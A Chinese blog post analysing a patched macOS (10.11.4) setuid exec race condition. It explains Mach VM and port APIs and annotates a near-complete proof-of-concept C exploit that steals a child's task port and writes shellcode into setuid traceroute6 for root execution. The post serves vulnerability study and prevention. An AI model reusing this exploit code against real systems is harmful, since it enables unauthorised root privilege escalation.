灵犀一指可攻可守,进攻时也是一指,是天下第一指法,与移花接玉这个天下第一掌法同样都是非兵刃的第一绝技
—陆小凤传奇
最近的10.11.4补丁修复了一个利用条件竞争获得代码执行权限的漏洞,经过对内核源码以及poc的理解之后,先对问题作出一个简单的分析。
我在 OSX内核加载mach-o流程分析 中比较详细的分析了 exec
整个执行流程中比较重要的几个函数,这个是比较精简的一个流程图。
Mach
提供了一种用户层对虚拟内存的操作方式。一系列对 vm_map_t
作出操作的 API
可以对虚拟内存作出很多操作。这里的 vm_map_t
就是 PORT
。
这一系列的API有很多,这里只是简单的介绍一下POC中会使用到的API。
#!c mach_vm_allocate(vm_map_t map,mach_vm_address_t *address,mach_vm_size_t size,int flags);
在 map
中分配 size
个字节大小的内存,根据 flags
的不同会有不同的处理方式。 address
是一个 I/O
的参数(例如:获取分配后的内存大小)。
如果 flags
的值不是 VM_FLAGS_ANYWHERE
,那么内存将被分配到 address
指向的地址。
#!c kern_return_t mach_vm_region( vm_map_t map, mach_vm_offset_t *address, /* IN/OUT */ mach_vm_size_t *size, /* OUT */ vm_region_flavor_t flavor, /* IN */ vm_region_info_t info, /* OUT */ mach_msg_type_number_t *count, /* IN/OUT */ mach_port_t *object_name) /* OUT */
获取 map
指向的任务内, address
地址起始的VM region(虚拟内存区域)的信息。目前标记为 flavor
只有 VM_BASIC_INFO_64
。
获得的info的数据结构如下。
#!c struct vm_region_basic_info_64 { vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance; boolean_t shared; boolean_t reserved; memory_object_offset_t offset; vm_behavior_t behavior; unsigned short user_wired_count; };
#!c kern_return_t mach_vm_protect( mach_port_name_t task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection)
对 address
到 address+size
这一段的内存设置内存保护策略, new_protection
就是最后设置成为的保护机制。
#!c kern_return_t mach_vm_write( vm_map_t map, mach_vm_address_t address, pointer_t data, __unused mach_msg_type_number_t size)
对 address
指向的内存改写内容。
Ports
是一种 Mach
提供的 task
之间相互交互的机制,通过 Ports
可以完成类似进程间通信的行为。每个 Ports
都会有自己的权限。
#!c #define MACH_PORT_RIGHT_SEND ((mach_port_right_t) 0) #define MACH_PORT_RIGHT_RECEIVE ((mach_port_right_t) 1) #define MACH_PORT_RIGHT_SEND_ONCE ((mach_port_right_t) 2) #define MACH_PORT_RIGHT_PORT_SET ((mach_port_right_t) 3) #define MACH_PORT_RIGHT_DEAD_NAME ((mach_port_right_t) 4) #define MACH_PORT_RIGHT_LABELH ((mach_port_right_t) 5) #define MACH_PORT_RIGHT_NUMBER ((mach_port_right_t) 6)
Ports
可以在不同的 task
之间传递,通过传递可以赋予其他 task
对 ports
的操作权限。例如POC中使用的就是在父进程与子进程之间传递 Port
得到了对内存操作的权限。
在内核处理setuid的程序时存在一个时间窗口,通过这个时间窗口,在进程 Port
被关闭之前,拥有进程 Port
的程序可以改写目标进程的任意内存,通过改写内存可以利用目标进程的root权限执行任意的shellcode。
load_machfile源码分析
exec_mach_imgact源码分析
在swap_task_map以及exec_handle_suid之间有一个时间窗口,task port还是可以对内存做出修改的。
具体细节可以参考poc,同时也可以参考源码的分析日志。
时间窗口打开的时机对编写poc非常重要,因为在调用exec之后整个行为都是内核控制的,没有什么直接的办法获取时间窗口,poc中提供的方法是通过不断的调用 mach_vm_region
,当窗口出现时,也就是从old_map切换到new_map时, mach_vm_region
函数获取的address应该是不同的。具体实现在下面的poc源码分析中会提到。
在得到窗口打开的时机之后通过上面提到的port以及mach_vm_*的一系列函数就可以做到对目标进程的任意写操作,从而写入shellcode。
shellcode要写在什么地方才会被执行呢?
通过对traceroute6的分析,可以看到__text的地址偏移是0x153c,所以通过对该地址的内存改写,可以使得shellcode得到执行。
#!c int main() { kern_return_t err; // register a name with launchd mach_port_t bootstrap_port; err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port); if (err != KERN_SUCCESS) { mach_error("can't get bootstrap port", err); return 1; } //创建一个具有接受消息权限的port mach_port_t service_port; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &service_port); if (err != KERN_SUCCESS) { mach_error("can't allocate service port", err); return 1; } //为port添加SEND权限 err = mach_port_insert_right(mach_task_self(), service_port, service_port, MACH_MSG_TYPE_MAKE_SEND); if (err != KERN_SUCCESS) { mach_error("can't insert make send right", err); return 1; } // // 注册一个全局的Port // 之后的子进程会继承这个port err = bootstrap_register(bootstrap_port, service_name, service_port); if (err != KERN_SUCCESS) { mach_error("can't register service port", err); return 1; } printf("[+] registered service /"%s/" with launchd to receive child thread port/n", service_name); // fork a child pid_t child_pid = fork(); if (child_pid == 0) { do_child(); } else { do_parent(service_port); int status; wait(&status); } return 0; }
main函数在建立了port之后之后fork出子程序,开始做各自做的事情。
#!c void do_child() { kern_return_t err; //查找全局的port mach_port_t bootstrap_port; err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port); if (err != KERN_SUCCESS) { mach_error("child can't get bootstrap port", err); return; } mach_port_t service_port; err = bootstrap_look_up(bootstrap_port, service_name, &service_port); if (err != KERN_SUCCESS) { mach_error("child can't get service port", err); return; } // create a reply port: // 创建一个具有接受消息权限的port mach_port_t reply_port; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); if (err != KERN_SUCCESS) { mach_error("child unable to allocate reply port", err); return; } // send it our task port // 将子进程的port发送给父进程 task_msg_send_t msg = {0}; msg.header.msgh_size = sizeof(msg); msg.header.msgh_local_port = reply_port; msg.header.msgh_remote_port = service_port; msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX; msg.body.msgh_descriptor_count = 1; msg.port.name = mach_task_self(); msg.port.disposition = MACH_MSG_TYPE_COPY_SEND; msg.port.type = MACH_MSG_PORT_DESCRIPTOR; err = mach_msg_send(&msg.header); if (err != KERN_SUCCESS) { mach_error("child unable to send thread port message", err); return; } // wait for a reply to ack that the other end got our thread port // 等待父进程回复 ack_msg_recv_t reply = {0}; err = mach_msg(&reply.header, MACH_RCV_MSG, 0, sizeof(reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { mach_error("child unable to receive ack", err); return; } // exec the suid-root binary // 执行setuid的程序traceroute6 char* argv[] = {suid_binary_path, "-w", "rofl", NULL}; char* envp[] = {NULL}; execve(suid_binary_path, argv, envp); }
子进程做的事情也非常的简单,将自己的port发送给父进程,确保父进程已经获取到port之后,执行setuid的程序,poc中使用的是traceroute6。
#!c void do_parent(mach_port_t service_port) { kern_return_t err; // generate the page we want to write into the child: // 申请一页内存,并且会将这一页内存写入子进程 mach_vm_address_t addr = 0; err = mach_vm_allocate(mach_task_self(), &addr, 4096, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { mach_error("failed to mach_vm_allocate memory", err); return; } //将0x153c处的写入shellcode FILE* f = fopen(suid_binary_path, "r"); fseek(f, 0x1000, SEEK_SET); fread((char*)addr, 0x1000, 1, f); fclose(f); memcpy(((char*)addr)+0x53c, shellcode, sizeof(shellcode)); // wait to get the child's task port on the service port: // 等待子进程发送过来的port task_msg_recv_t msg = {0}; err = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), service_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { mach_error("error receiving service message", err); return; } mach_port_t target_task_port = msg.port.name; // before we ack the task port message to signal that the other process should execve the suid // binary get the lowest mapped address: // 立刻获取内存的信息 struct vm_region_basic_info_64 region; mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64; memory_object_name_t object_name = MACH_PORT_NULL; /* unused */ mach_vm_size_t target_first_size = 0x1000; mach_vm_address_t original_first_addr = 0x0; err = mach_vm_region(target_task_port, &original_first_addr, ⌖_first_size, VM_REGION_BASIC_INFO_64, (vm_region_info_t)®ion, ®ion_count, &object_name); if (err != KERN_SUCCESS) { mach_error("unable to get first mach_vm_region for target process/n", err); return; } printf("[+] looks like the target processes lowest mapping is at %zx prior to execve/n", original_first_addr); // send an ack message to the reply port indicating that we have the thread port ack_msg_send_t ack = {0}; mach_msg_type_name_t reply_port_rights = MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits); ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); ack.header.msgh_size = sizeof(ack); ack.header.msgh_local_port = MACH_PORT_NULL; ack.header.msgh_remote_port = msg.header.msgh_remote_port; ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); // use the same rights we got err = mach_msg_send(&ack.header); if (err != KERN_SUCCESS) { mach_error("parent failed sending ack", err); return; } mach_vm_address_t target_first_addr = 0x0; for (;;) { // wait until we see that the map has been swapped and the binary is loaded into it: // 不断的循环去获取内存的信息 region_count = VM_REGION_BASIC_INFO_COUNT_64; object_name = MACH_PORT_NULL; /* unused */ target_first_size = 0x1000; target_first_addr = 0x0; err = mach_vm_region(target_task_port, ⌖_first_addr, ⌖_first_size, VM_REGION_BASIC_INFO_64, (vm_region_info_t)®ion, ®ion_count, &object_name); if (target_first_addr != original_first_addr && target_first_addr < 0x200000000) { // the first address has changed implying that the map was swapped // let's try to win the race // 当发现获取到的内存信息与之前的不同 // 说明竞争的窗口打开了 // 可以尝试去写入shellcode了 break; } } //写入shellcode mach_vm_address_t target_addr = target_first_addr + 0x1000; mach_msg_type_number_t target_size = 0x1000; mach_vm_protect(target_task_port, target_addr, target_size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); mach_vm_write(target_task_port, target_addr, addr, target_size); printf("hopefully overwrote some code in the target.../n"); printf("the target first addr changed to %zx/n", target_first_addr); //子进程窗口关闭后内存已经被改写,正常执行到entry时,将执行shellcode。 }
父进程的行为比较复杂:
通过梳理poc与内核源码后,在了解了 execv
函数一系列的执行流程,已经内核的一系列内存操作的工具函数之后,这个漏洞其实就是一个简单的逻辑漏洞,通过一个旧的port可以在port被关闭前,任意改写进程的内存地址,当目标进程碰巧是setuid的进程时,就具有了root权限执行任意代码的能力。
通过poc的分析,应该学习巩固的知识如下:
充分理解poc的原理后,可以进一步对这个漏洞的Exploit to get kernel code execution做出更详细的分析,从而反思与总结,如何在开发中预防这种漏洞的产生以及如何通过测试或者代码审计的手段发现类似的漏洞。
ps:
这是我的学习分享博客 http://turingh.github.io/
欢迎大家来探讨,不足之处还请指正。